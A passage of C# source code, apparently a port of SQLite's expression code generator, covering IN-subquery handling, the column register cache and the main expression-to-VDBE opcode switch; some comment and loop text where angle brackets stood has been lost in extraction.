addr; /* Address of OP_OpenEphemeral instruction */ Expr pLeft = pExpr.pLeft; if ( rMayHaveNull != 0 ) { sqlite3VdbeAddOp2( v, OP_Null, 0, rMayHaveNull ); } affinity = sqlite3ExprAffinity( pLeft ); /* Whether this is an 'x IN(SELECT...)' or an 'x IN()' ** expression it is handled the same way. A virtual table is ** filled with single-field index keys representing the results ** from the SELECT or the . ** ** If the 'x' expression is a column value, or the SELECT... ** statement returns a column value, then the affinity of that ** column is used to build the index keys. If both 'x' and the ** SELECT... statement are columns, then numeric affinity is used ** if either column has NUMERIC or INTEGER affinity. If neither ** 'x' nor the SELECT... statement are columns, then numeric affinity ** is used. */ pExpr.iTable = pParse.nTab++; addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, (int)pExpr.iTable, !isRowid ); keyInfo = new KeyInfo();// memset( &keyInfo, 0, sizeof(keyInfo )); keyInfo.nField = 1; if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) { /* Case 1: expr IN (SELECT ...) ** ** Generate code to write the results of the select into the temporary ** table allocated and opened above. */ SelectDest dest = new SelectDest(); ExprList pEList; Debug.Assert( !isRowid ); sqlite3SelectDestInit( dest, SRT_Set, pExpr.iTable ); dest.affinity = (char)affinity; Debug.Assert( ( pExpr.iTable & 0x0000FFFF ) == pExpr.iTable ); if ( sqlite3Select( pParse, pExpr.x.pSelect, ref dest ) != 0 ) { return; } pEList = pExpr.x.pSelect.pEList; if ( ALWAYS( pEList != null ) && pEList.nExpr > 0 ) { keyInfo.aColl[0] = sqlite3BinaryCompareCollSeq( pParse, pExpr.pLeft, pEList.a[0].pExpr ); } } else if ( pExpr.x.pList != null ) { /* Case 2: expr IN (exprlist) ** ** For each expression, build an index key from the evaluation and ** store it in the temporary table. If is a column, then use ** that columns affinity when building index keys. If is not ** a column, use numeric affinity. */ int i; ExprList pList = pExpr.x.pList; ExprList_item pItem; int r1, r2, r3; if ( affinity == '\0' ) { affinity = SQLITE_AFF_NONE; } keyInfo.aColl[0] = sqlite3ExprCollSeq( pParse, pExpr.pLeft ); /* Loop through each expression in . */ r1 = sqlite3GetTempReg( pParse ); r2 = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp2( v, OP_Null, 0, r2 ); for ( i = 0 ; i < pList.nExpr ; i++ ) {//, pItem++){ pItem = pList.a[i]; Expr pE2 = pItem.pExpr; /* If the expression is not constant then we will need to ** disable the test that was generated above that makes sure ** this code only executes once. Because for a non-constant ** expression we need to rerun this code each time. */ if ( testAddr != 0 && sqlite3ExprIsConstant( pE2 ) == 0 ) { sqlite3VdbeChangeToNoop( v, testAddr - 1, 2 ); testAddr = 0; } /* Evaluate the expression and insert it into the temp table */ r3 = sqlite3ExprCodeTarget( pParse, pE2, r1 ); if ( isRowid ) { sqlite3VdbeAddOp2( v, OP_MustBeInt, r3, sqlite3VdbeCurrentAddr( v ) + 2 ); sqlite3VdbeAddOp3( v, OP_Insert, pExpr.iTable, r2, r3 ); } else { sqlite3VdbeAddOp4( v, OP_MakeRecord, r3, 1, r2, affinity, 1 ); sqlite3ExprCacheAffinityChange( pParse, r3, 1 ); sqlite3VdbeAddOp2( v, OP_IdxInsert, pExpr.iTable, r2 ); } } sqlite3ReleaseTempReg( pParse, r1 ); sqlite3ReleaseTempReg( pParse, r2 ); } if ( !isRowid ) { sqlite3VdbeChangeP4( v, addr, keyInfo, P4_KEYINFO ); } break; } case TK_EXISTS: case TK_SELECT: default: { /* If this has to be a scalar SELECT. Generate code to put the ** value of this select in a memory cell and record the number ** of the memory cell in iColumn. If this is an EXISTS, write ** an integer 0 (not exists) or 1 (exists) into a memory cell ** and record that memory cell in iColumn. */ Token one = new Token( "1", 1 ); /* Token for literal value 1 */ Select pSel; /* SELECT statement to encode */ SelectDest dest = new SelectDest(); /* How to deal with SELECt result */ testcase( pExpr.op == TK_EXISTS ); testcase( pExpr.op == TK_SELECT ); Debug.Assert( pExpr.op == TK_EXISTS || pExpr.op == TK_SELECT ); Debug.Assert( ExprHasProperty( pExpr, EP_xIsSelect ) ); pSel = pExpr.x.pSelect; sqlite3SelectDestInit( dest, 0, ++pParse.nMem ); if ( pExpr.op == TK_SELECT ) { dest.eDest = SRT_Mem; sqlite3VdbeAddOp2( v, OP_Null, 0, dest.iParm ); #if SQLITE_DEBUG VdbeComment( v, "Init subquery result" ); #endif } else { dest.eDest = SRT_Exists; sqlite3VdbeAddOp2( v, OP_Integer, 0, dest.iParm ); #if SQLITE_DEBUG VdbeComment( v, "Init EXISTS result" ); #endif } sqlite3ExprDelete( pParse.db, ref pSel.pLimit ); pSel.pLimit = sqlite3PExpr( pParse, TK_INTEGER, null, null, one ); if ( sqlite3Select( pParse, pSel, ref dest ) != 0 ) { return; } pExpr.iColumn = (short)dest.iParm; ExprSetIrreducible( pExpr ); break; } } if ( testAddr != 0 ) { sqlite3VdbeJumpHere( v, testAddr - 1 ); } sqlite3ExprCachePop( pParse, 1 ); return; } #endif // * SQLITE_OMIT_SUBQUERY */ /* ** Duplicate an 8-byte value */ //static char *dup8bytes(Vdbe v, const char *in){ // char *out = sqlite3DbMallocRaw(sqlite3VdbeDb(v), 8); // if( out ){ // memcpy(out, in, 8); // } // return out; //} /* ** Generate an instruction that will put the floating point ** value described by z[0..n-1] into register iMem. ** ** The z[] string will probably not be zero-terminated. But the ** z[n] character is guaranteed to be something that does not look ** like the continuation of the number. */ static void codeReal( Vdbe v, string z, bool negateFlag, int iMem ) { if ( ALWAYS( !String.IsNullOrEmpty( z ) ) ) { double value = 0; //char *zV; sqlite3AtoF( z, ref value ); if ( sqlite3IsNaN( value ) ) { sqlite3VdbeAddOp2( v, OP_Null, 0, iMem ); } else { if ( negateFlag ) value = -value; //zV = dup8bytes(v, value); sqlite3VdbeAddOp4( v, OP_Real, 0, iMem, 0, value, P4_REAL ); } } } /* ** Generate an instruction that will put the integer describe by ** text z[0..n-1] into register iMem. ** ** The z[] string will probably not be zero-terminated. But the ** z[n] character is guaranteed to be something that does not look ** like the continuation of the number. */ static void codeInteger( Vdbe v, Expr pExpr, bool negFlag, int iMem ) { if ( ( pExpr.flags & EP_IntValue ) != 0 ) { int i = pExpr.u.iValue; if ( negFlag ) i = -i; sqlite3VdbeAddOp2( v, OP_Integer, i, iMem ); } else { string z = pExpr.u.zToken; Debug.Assert( !String.IsNullOrEmpty( z ) ); if ( sqlite3FitsIn64Bits( z, negFlag ) ) { i64 value = 0; //string zV; sqlite3Atoi64( negFlag ? "-" + z : z, ref value ); //if ( negFlag ) value = -value; //zV = dup8bytes( v, (char*)&value ); //sqlite3VdbeAddOp4( v, OP_Int64, 0, iMem, 0, zV, P4_INT64 ); sqlite3VdbeAddOp4( v, OP_Int64, 0, iMem, 0, value, P4_INT64 ); } else { codeReal( v, z, negFlag, iMem ); } } } /* ** Clear a cache entry. */ static void cacheEntryClear( Parse pParse, yColCache p ) { if ( p.tempReg != 0 ) { if ( pParse.nTempReg < ArraySize( pParse.aTempReg ) ) { pParse.aTempReg[pParse.nTempReg++] = p.iReg; } p.tempReg = 0; } } /* ** Record in the column cache that a particular column from a ** particular table is stored in a particular register. */ static void sqlite3ExprCacheStore( Parse pParse, int iTab, int iCol, int iReg ) { int i; int minLru; int idxLru; yColCache p; Debug.Assert( iReg > 0 ); /* Register numbers are always positive */ Debug.Assert( iCol >= -1 && iCol < 32768 ); /* Finite column numbers */ /* First replace any existing entry */ for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) { p = pParse.aColCache[i]; if ( p.iReg != 0 && p.iTable == iTab && p.iColumn == iCol ) { cacheEntryClear( pParse, p ); p.iLevel = pParse.iCacheLevel; p.iReg = iReg; p.affChange = false; p.lru = pParse.iCacheCnt++; return; } } /* Find an empty slot and replace it */ for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) { p = pParse.aColCache[i]; if ( p.iReg == 0 ) { p.iLevel = pParse.iCacheLevel; p.iTable = iTab; p.iColumn = iCol; p.iReg = iReg; p.affChange = false; p.tempReg = 0; p.lru = pParse.iCacheCnt++; return; } } /* Replace the last recently used */ minLru = 0x7fffffff; idxLru = -1; for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache..., p++) { p = pParse.aColCache[i]; if ( p.lru < minLru ) { idxLru = i; minLru = p.lru; } } if ( ALWAYS( idxLru >= 0 ) ) { p = pParse.aColCache[idxLru]; p.iLevel = pParse.iCacheLevel; p.iTable = iTab; p.iColumn = iCol; p.iReg = iReg; p.affChange = false; p.tempReg = 0; p.lru = pParse.iCacheCnt++; return; } } /* ** Indicate that a register is being overwritten. Purge the register ** from the column cache. */ static void sqlite3ExprCacheRemove( Parse pParse, int iReg ) { int i; yColCache p; for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) { p = pParse.aColCache[i]; if ( p.iReg == iReg ) { cacheEntryClear( pParse, p ); p.iReg = 0; } } } /* ** Remember the current column cache context. Any new entries added ** added to the column cache after this call are removed when the ** corresponding pop occurs. */ static void sqlite3ExprCachePush( Parse pParse ) { pParse.iCacheLevel++; } /* ** Remove from the column cache any entries that were added since the ** the previous N Push operations. In other words, restore the cache ** to the state it was in N Pushes ago. */ static void sqlite3ExprCachePop( Parse pParse, int N ) { int i; yColCache p; Debug.Assert( N > 0 ); Debug.Assert( pParse.iCacheLevel >= N ); pParse.iCacheLevel -= N; for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p++) { p = pParse.aColCache[i]; if ( p.iReg != 0 && p.iLevel > pParse.iCacheLevel ) { cacheEntryClear( pParse, p ); p.iReg = 0; } } } /* ** When a cached column is reused, make sure that its register is ** no longer available as a temp register. ticket #3879: that same ** register might be in the cache in multiple places, so be sure to ** get them all. */ static void sqlite3ExprCachePinRegister( Parse pParse, int iReg ) { int i; yColCache p; for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse->aColCache; i 0 && p.iTable == iTable && p.iColumn == iColumn && ( !p.affChange || allowAffChng ) ) { p.lru = pParse.iCacheCnt++; sqlite3ExprCachePinRegister( pParse, p.iReg ); return p.iReg; } } Debug.Assert( v != null ); if ( iColumn < 0 ) { sqlite3VdbeAddOp2( v, OP_Rowid, iTable, iReg ); } else if ( ALWAYS( pTab != null ) ) { int op = IsVirtual( pTab ) ? OP_VColumn : OP_Column; sqlite3VdbeAddOp3( v, op, iTable, iColumn, iReg ); sqlite3ColumnDefault( v, pTab, iColumn, iReg ); } sqlite3ExprCacheStore( pParse, iTable, iColumn, iReg ); return iReg; } /* ** Clear all column cache entries. */ static void sqlite3ExprCacheClear( Parse pParse ) { int i; yColCache p; for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p=pParse.aColCache... p++) { p = pParse.aColCache[i]; if ( p.iReg != 0 ) { cacheEntryClear( pParse, p ); p.iReg = 0; } } } /* ** Record the fact that an affinity change has occurred on iCount ** registers starting with iStart. */ static void sqlite3ExprCacheAffinityChange( Parse pParse, int iStart, int iCount ) { int iEnd = iStart + iCount - 1; int i; yColCache p; for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p=pParse.aColCache... p++) { p = pParse.aColCache[i]; int r = p.iReg; if ( r >= iStart && r <= iEnd ) { p.affChange = true; } } } /* ** Generate code to move content from registers iFrom...iFrom+nReg-1 ** over to iTo..iTo+nReg-1. Keep the column cache up-to-date. */ static void sqlite3ExprCodeMove( Parse pParse, int iFrom, int iTo, int nReg ) { int i; yColCache p; if ( NEVER( iFrom == iTo ) ) return; sqlite3VdbeAddOp3( pParse.pVdbe, OP_Move, iFrom, iTo, nReg ); for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )// p=pParse.aColCache... p++) { p = pParse.aColCache[i]; int x = p.iReg; if ( x >= iFrom && x < iFrom + nReg ) { p.iReg += iTo - iFrom; } } } /* ** Generate code to copy content from registers iFrom...iFrom+nReg-1 ** over to iTo..iTo+nReg-1. */ static void sqlite3ExprCodeCopy( Parse pParse, int iFrom, int iTo, int nReg ) { int i; if ( NEVER( iFrom == iTo ) ) return; for ( i = 0 ; i < nReg ; i++ ) { sqlite3VdbeAddOp2( pParse.pVdbe, OP_Copy, iFrom + i, iTo + i ); } } /* ** Return true if any register in the range iFrom..iTo (inclusive) ** is used as part of the column cache. */ static int usedAsColumnCache( Parse pParse, int iFrom, int iTo ) { int i; yColCache p; for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) { p = pParse.aColCache[i]; int r = p.iReg; if ( r >= iFrom && r <= iTo ) return 1; } return 0; } /* ** If the last instruction coded is an ephemeral copy of any of ** the registers in the nReg registers beginning with iReg, then ** convert the last instruction from OP_SCopy to OP_Copy. */ static void sqlite3ExprHardCopy( Parse pParse, int iReg, int nReg ) { VdbeOp pOp; Vdbe v; //Debug.Assert( pParse.db.mallocFailed == 0 ); v = pParse.pVdbe; Debug.Assert( v != null ); pOp = sqlite3VdbeGetOp( v, -1 ); Debug.Assert( pOp != null ); if ( pOp.opcode == OP_SCopy && pOp.p1 >= iReg && pOp.p1 < iReg + nReg ) { pOp.opcode = OP_Copy; } } /* ** Generate code to store the value of the iAlias-th alias in register ** target. The first time this is called, pExpr is evaluated to compute ** the value of the alias. The value is stored in an auxiliary register ** and the number of that register is returned. On subsequent calls, ** the register number is returned without generating any code. ** ** Note that in order for this to work, code must be generated in the ** same order that it is executed. ** ** Aliases are numbered starting with 1. So iAlias is in the range ** of 1 to pParse.nAlias inclusive. ** ** pParse.aAlias[iAlias-1] records the register number where the value ** of the iAlias-th alias is stored. If zero, that means that the ** alias has not yet been computed. */ static int codeAlias( Parse pParse, int iAlias, Expr pExpr, int target ) { #if FALSE sqlite3 db = pParse.db; int iReg; if ( pParse.nAliasAlloc < pParse.nAlias ) { pParse.aAlias = new int[pParse.nAlias]; //sqlite3DbReallocOrFree(db, pParse.aAlias, //sizeof(pParse.aAlias[0])*pParse.nAlias ); testcase( db.mallocFailed != 0 && pParse.nAliasAlloc > 0 ); if ( db.mallocFailed != 0 ) return 0; //memset(&pParse.aAlias[pParse.nAliasAlloc], 0, // (pParse.nAlias-pParse.nAliasAlloc)*sizeof(pParse.aAlias[0])); pParse.nAliasAlloc = pParse.nAlias; } Debug.Assert( iAlias > 0 && iAlias <= pParse.nAlias ); iReg = pParse.aAlias[iAlias - 1]; if ( iReg == 0 ) { if ( pParse.iCacheLevel != 0 ) { iReg = sqlite3ExprCodeTarget( pParse, pExpr, target ); } else { iReg = ++pParse.nMem; sqlite3ExprCode( pParse, pExpr, iReg ); pParse.aAlias[iAlias - 1] = iReg; } } return iReg; #else UNUSED_PARAMETER( iAlias ); return sqlite3ExprCodeTarget( pParse, pExpr, target ); #endif } /* ** Generate code into the current Vdbe to evaluate the given ** expression. Attempt to store the results in register "target". ** Return the register where results are stored. ** ** With this routine, there is no guarantee that results will ** be stored in target. The result might be stored in some other ** register if it is convenient to do so. The calling function ** must check the return code and move the results to the desired ** register. */ static int sqlite3ExprCodeTarget( Parse pParse, Expr pExpr, int target ) { Vdbe v = pParse.pVdbe; /* The VM under construction */ int op; /* The opcode being coded */ int inReg = target; /* Results stored in register inReg */ int regFree1 = 0; /* If non-zero free this temporary register */ int regFree2 = 0; /* If non-zero free this temporary register */ int r1 = 0, r2 = 0, r3 = 0, r4 = 0; /* Various register numbers */ sqlite3 db = pParse.db; /* The database connection */ Debug.Assert( target > 0 && target <= pParse.nMem ); if ( v == null ) { //Debug.Assert( pParse.db.mallocFailed != 0 ); return 0; } if ( pExpr == null ) { op = TK_NULL; } else { op = pExpr.op; } switch ( op ) { case TK_AGG_COLUMN: { AggInfo pAggInfo = pExpr.pAggInfo; AggInfo_col pCol = pAggInfo.aCol[pExpr.iAgg]; if ( pAggInfo.directMode == 0 ) { Debug.Assert( pCol.iMem > 0 ); inReg = pCol.iMem; break; } else if ( pAggInfo.useSortingIdx != 0 ) { sqlite3VdbeAddOp3( v, OP_Column, pAggInfo.sortingIdx, pCol.iSorterColumn, target ); break; } /* Otherwise, fall thru into the TK_COLUMN case */ } goto case TK_COLUMN; case TK_COLUMN: { if ( pExpr.iTable < 0 ) { /* This only happens when coding check constraints */ Debug.Assert( pParse.ckBase > 0 ); inReg = pExpr.iColumn + pParse.ckBase; } else { testcase( ( pExpr.flags & EP_AnyAff ) != 0 ); inReg = sqlite3ExprCodeGetColumn( pParse, pExpr.pTab, pExpr.iColumn, pExpr.iTable, target, ( pExpr.flags & EP_AnyAff ) != 0 ); } break; } case TK_INTEGER: { codeInteger( v, pExpr, false, target ); break; } case TK_FLOAT: { Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); codeReal( v, pExpr.u.zToken, false, target ); break; } case TK_STRING: { Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); sqlite3VdbeAddOp4( v, OP_String8, 0, target, 0, pExpr.u.zToken, 0 ); break; } case TK_NULL: { sqlite3VdbeAddOp2( v, OP_Null, 0, target ); break; } #if !SQLITE_OMIT_BLOB_LITERAL case TK_BLOB: { int n; string z; byte[] zBlob; Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); Debug.Assert( pExpr.u.zToken[0] == 'x' || pExpr.u.zToken[0] == 'X' ); Debug.Assert( pExpr.u.zToken[1] == '\'' ); z = pExpr.u.zToken.Substring( 2 ); n = sqlite3Strlen30( z ) - 1; Debug.Assert( z[n] == '\'' ); zBlob = sqlite3HexToBlob( sqlite3VdbeDb( v ), z, n ); sqlite3VdbeAddOp4( v, OP_Blob, n / 2, target, 0, zBlob, P4_DYNAMIC ); break; } #endif case TK_VARIABLE: { VdbeOp pOp; Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); Debug.Assert( pExpr.u.zToken != null ); Debug.Assert( pExpr.u.zToken.Length != 0 ); if ( pExpr.u.zToken.Length == 1 && ( pOp = sqlite3VdbeGetOp( v, -1 ) ).opcode == OP_Variable && pOp.p1 + pOp.p3 == pExpr.iTable && pOp.p2 + pOp.p3 == target && pOp.p4.z == null ) { /* If the previous instruction was a copy of the previous unnamed ** parameter into the previous register, then simply increment the ** repeat count on the prior instruction rather than making a new ** instruction. */ pOp.p3++; } else { sqlite3VdbeAddOp3( v, OP_Variable, pExpr.iTable, target, 1 ); if ( pExpr.u.zToken.Length > 1 ) { sqlite3VdbeChangeP4( v, -1, pExpr.u.zToken, 0 ); } } break; } case TK_REGISTER: { inReg = pExpr.iTable; break; } case TK_AS: { inReg = codeAlias( pParse, pExpr.iTable, pExpr.pLeft, target ); break; } #if !SQLITE_OMIT_CAST case TK_CAST: { /* Expressions of the form: CAST(pLeft AS token) */ int aff, to_op; inReg = sqlite3ExprCodeTarget( pParse, pExpr.pLeft, target ); Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); aff = sqlite3AffinityType( pExpr.u.zToken ); to_op = aff - SQLITE_AFF_TEXT + OP_ToText; Debug.Assert( to_op == OP_ToText || aff != SQLITE_AFF_TEXT ); Debug.Assert( to_op == OP_ToBlob || aff != SQLITE_AFF_NONE ); Debug.Assert( to_op == OP_ToNumeric || aff != SQLITE_AFF_NUMERIC ); Debug.Assert( to_op == OP_ToInt || aff != SQLITE_AFF_INTEGER ); Debug.Assert( to_op == OP_ToReal || aff != SQLITE_AFF_REAL ); testcase( to_op == OP_ToText ); testcase( to_op == OP_ToBlob ); testcase( to_op == OP_ToNumeric ); testcase( to_op == OP_ToInt ); testcase( to_op == OP_ToReal ); if ( inReg != target ) { sqlite3VdbeAddOp2( v, OP_SCopy, inReg, target ); inReg = target; } sqlite3VdbeAddOp1( v, to_op, inReg ); testcase( usedAsColumnCache( pParse, inReg, inReg ) != 0 ); sqlite3ExprCacheAffinityChange( pParse, inReg, 1 ); break; } #endif // * SQLITE_OMIT_CAST */ case TK_LT: case TK_LE: case TK_GT: case TK_GE: case TK_NE: case TK_EQ: { Debug.Assert( TK_LT == OP_Lt ); Debug.Assert( TK_LE == OP_Le ); Debug.Assert( TK_GT == OP_Gt ); Debug.Assert( TK_GE == OP_Ge ); Debug.Assert( TK_EQ == OP_Eq ); Debug.Assert( TK_NE == OP_Ne ); testcase( op == TK_LT ); testcase( op == TK_LE ); testcase( op == TK_GT ); testcase( op == TK_GE ); testcase( op == TK_EQ ); testcase( op == TK_NE ); codeCompareOperands( pParse, pExpr.pLeft, ref r1, ref regFree1, pExpr.pRight, ref r2, ref regFree2 ); codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, r1, r2, inReg, SQLITE_STOREP2 ); testcase( regFree1 == 0 ); testcase( regFree2 == 0 ); break; } case TK_AND: case TK_OR: case TK_PLUS: case TK_STAR: case TK_MINUS: case TK_REM: case TK_BITAND: case TK_BITOR: case TK_SLASH: case TK_LSHIFT: case TK_RSHIFT: case TK_CONCAT: { Debug.Assert( TK_AND == OP_And ); Debug.Assert( TK_OR == OP_Or ); Debug.Assert( TK_PLUS == OP_Add ); Debug.Assert( TK_MINUS == OP_Subtract ); Debug.Assert( TK_REM == OP_Remainder ); Debug.Assert( TK_BITAND == OP_BitAnd ); Debug.Assert( TK_BITOR == OP_BitOr ); Debug.Assert( TK_SLASH == OP_Divide ); Debug.Assert( TK_LSHIFT == OP_ShiftLeft ); Debug.Assert( TK_RSHIFT == OP_ShiftRight ); Debug.Assert( TK_CONCAT == OP_Concat ); testcase( op == TK_AND ); testcase( op == TK_OR ); testcase( op == TK_PLUS ); testcase( op == TK_MINUS ); testcase( op == TK_REM ); testcase( op == TK_BITAND ); testcase( op == TK_BITOR ); testcase( op == TK_SLASH ); testcase( op == TK_LSHIFT ); testcase( op == TK_RSHIFT ); testcase( op == TK_CONCAT ); r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 ); sqlite3VdbeAddOp3( v, op, r2, r1, target ); testcase( regFree1 == 0 ); testcase( regFree2 == 0 ); break; } case TK_UMINUS: { Expr pLeft = pExpr.pLeft; Debug.Assert( pLeft != null ); if ( pLeft.op == TK_FLOAT ) { Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); codeReal( v, pLeft.u.zToken, true, target ); } else if ( pLeft.op == TK_INTEGER ) { codeInteger( v, pLeft, true, target ); } else { regFree1 = r1 = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp2( v, OP_Integer, 0, r1 ); r2 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree2 ); sqlite3VdbeAddOp3( v, OP_Subtract, r2, r1, target ); testcase( regFree2 == 0 ); } inReg = target; break; } case TK_BITNOT: case TK_NOT: { Debug.Assert( TK_BITNOT == OP_BitNot ); Debug.Assert( TK_NOT == OP_Not ); testcase( op == TK_BITNOT ); testcase( op == TK_NOT ); r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); testcase( regFree1 == 0 ); inReg = target; sqlite3VdbeAddOp2( v, op, r1, inReg ); break; } case TK_ISNULL: case TK_NOTNULL: { int addr; Debug.Assert( TK_ISNULL == OP_IsNull ); Debug.Assert( TK_NOTNULL == OP_NotNull ); testcase( op == TK_ISNULL ); testcase( op == TK_NOTNULL ); sqlite3VdbeAddOp2( v, OP_Integer, 1, target ); r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); testcase( regFree1 == 0 ); addr = sqlite3VdbeAddOp1( v, op, r1 ); sqlite3VdbeAddOp2( v, OP_AddImm, target, -1 ); sqlite3VdbeJumpHere( v, addr ); break; } case TK_AGG_FUNCTION: { AggInfo pInfo = pExpr.pAggInfo; if ( pInfo == null ) { Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); sqlite3ErrorMsg( pParse, "misuse of aggregate: %s()", pExpr.u.zToken ); } else { inReg = pInfo.aFunc[pExpr.iAgg].iMem; } break; } case TK_CONST_FUNC: case TK_FUNCTION: { ExprList pFarg; /* List of function arguments */ int nFarg; /* Number of function arguments */ FuncDef pDef; /* The function definition object */ int nId; /* Length of the function name in bytes */ string zId; /* The function name */ int constMask = 0; /* Mask of function arguments that are constant */ int i; /* Loop counter */ u8 enc = ENC( db ); /* The text encoding used by this database */ CollSeq pColl = null; /* A collating sequence */ Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); testcase( op == TK_CONST_FUNC ); testcase( op == TK_FUNCTION ); if ( ExprHasAnyProperty( pExpr, EP_TokenOnly ) ) { pFarg = null; } else { pFarg = pExpr.x.pList; } nFarg = pFarg != null ? pFarg.nExpr : 0; Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); zId = pExpr.u.zToken; nId = sqlite3Strlen30( zId ); pDef = sqlite3FindFunction( pParse.db, zId, nId, nFarg, enc, 0 ); Debug.Assert( pDef != null ); if ( pFarg != null ) { r1 = sqlite3GetTempRange( pParse, nFarg ); sqlite3ExprCodeExprList( pParse, pFarg, r1, true ); } else { r1 = 0; } #if !SQLITE_OMIT_VIRTUALTABLE /* Possibly overload the function if the first argument is ** a virtual table column. ** ** For infix functions (LIKE, GLOB, REGEXP, and MATCH) use the ** second argument, not the first, as the argument to test to ** see if it is a column in a virtual table. This is done because ** the left operand of infix functions (the operand we want to ** control overloading) ends up as the second argument to the ** function. The expression "A glob B" is equivalent to ** "glob(B,A). We want to use the A in "A glob B" to test ** for function overloading. But we use the B term in "glob(B,A)". */ if ( nFarg >= 2 && ( pExpr.flags & EP_InfixFunc ) ) { pDef = sqlite3VtabOverloadFunction( db, pDef, nFarg, pFarg.a[1].pExpr ); } else if ( nFarg > 0 ) { pDef = sqlite3VtabOverloadFunction( db, pDef, nFarg, pFarg.a[0].pExpr ); } #endif for ( i = 0 ; i < nFarg ; i++ ) { if ( i < 32 && sqlite3ExprIsConstant( pFarg.a[i].pExpr ) != 0 ) { constMask |= ( 1 << i ); } if ( ( pDef.flags & SQLITE_FUNC_NEEDCOLL ) != 0 && null == pColl ) { pColl = sqlite3ExprCollSeq( pParse, pFarg.a[i].pExpr ); } } if ( ( pDef.flags & SQLITE_FUNC_NEEDCOLL ) != 0 ) { if ( null == pColl ) pColl = db.pDfltColl; sqlite3VdbeAddOp4( v, OP_CollSeq, 0, 0, 0, pColl, P4_COLLSEQ ); } sqlite3VdbeAddOp4( v, OP_Function, constMask, r1, target, pDef, P4_FUNCDEF ); sqlite3VdbeChangeP5( v, (u8)nFarg ); if ( nFarg != 0 ) { sqlite3ReleaseTempRange( pParse, r1, nFarg ); } sqlite3ExprCacheAffinityChange( pParse, r1, nFarg ); break; } #if !SQLITE_OMIT_SUBQUERY case TK_EXISTS: case TK_SELECT: { testcase( op == TK_EXISTS ); testcase( op == TK_SELECT ); sqlite3CodeSubselect( pParse, pExpr, 0, false ); inReg = pExpr.iColumn; break; } case TK_IN: { int rNotFound = 0; int rMayHaveNull = 0; int j2, j3, j4, j5; char affinity; int eType; VdbeNoopComment( v, "begin IN expr r%d", target ); eType = sqlite3FindInIndex( pParse, pExpr, ref rMayHaveNull ); if ( rMayHaveNull != 0 ) { rNotFound = ++pParse.nMem; } /* Figure out the affinity to use to create a key from the results ** of the expression. affinityStr stores a static string suitable for ** P4 of OP_MakeRecord. */ affinity = comparisonAffinity( pExpr ); /* Code the from " IN (...)". The temporary table ** pExpr.iTable contains the values that make up the (...) set. */ sqlite3ExprCachePush( pParse ); sqlite3ExprCode( pParse, pExpr.pLeft, target ); j2 = sqlite3VdbeAddOp1( v, OP_IsNull, target ); if ( eType == IN_INDEX_ROWID ) { j3 = sqlite3VdbeAddOp1( v, OP_MustBeInt, target ); j4 = sqlite3VdbeAddOp3( v, OP_NotExists, pExpr.iTable, 0, target ); sqlite3VdbeAddOp2( v, OP_Integer, 1, target ); j5 = sqlite3VdbeAddOp0( v, OP_Goto ); sqlite3VdbeJumpHere( v, j3 ); sqlite3VdbeJumpHere( v, j4 ); sqlite3VdbeAddOp2( v, OP_Integer, 0, target ); } else { r2 = regFree2 = sqlite3GetTempReg( pParse ); /* Create a record and test for set membership. If the set contains ** the value, then jump to the end of the test code. The target ** register still contains the true (1) value written to it earlier. */ sqlite3VdbeAddOp4( v, OP_MakeRecord, target, 1, r2, affinity, 1 ); sqlite3VdbeAddOp2( v, OP_Integer, 1, target ); j5 = sqlite3VdbeAddOp3( v, OP_Found, pExpr.iTable, 0, r2 ); /* If the set membership test fails, then the result of the ** "x IN (...)" expression must be either 0 or NULL. If the set ** contains no NULL values, then the result is 0. If the set ** contains one or more NULL values, then the result of the ** expression is also NULL. */ if ( rNotFound == 0 ) { /* This branch runs if it is known at compile time (now) that ** the set contains no NULL values. This happens as the result ** of a "NOT NULL" constraint in the database schema. No need ** to test the data structure at runtime in this case. */ sqlite3VdbeAddOp2( v, OP_Integer, 0, target ); } else { /* This block populates the rNotFound register with either NULL ** or 0 (an integer value). If the data structure contains one ** or more NULLs, then set rNotFound to NULL. Otherwise, set it ** to 0. If register rMayHaveNull is already set to some value ** other than NULL, then the test has already been run and ** rNotFound is already populated. */ byte[] nullRecord = { 0x02, 0x00 }; j3 = sqlite3VdbeAddOp1( v, OP_NotNull, rMayHaveNull ); sqlite3VdbeAddOp2( v, OP_Null, 0, rNotFound ); sqlite3VdbeAddOp4( v, OP_Blob, 2, rMayHaveNull, 0, nullRecord, P4_STATIC ); j4 = sqlite3VdbeAddOp3( v, OP_Found, pExpr.iTable, 0, rMayHaveNull ); sqlite3VdbeAddOp2( v, OP_Integer, 0, rNotFound ); sqlite3VdbeJumpHere( v, j4 ); sqlite3VdbeJumpHere( v, j3 ); /* Copy the value of register rNotFound (which is either NULL or 0) ** into the target register. This will be the result of the ** expression. */ sqlite3VdbeAddOp2( v, 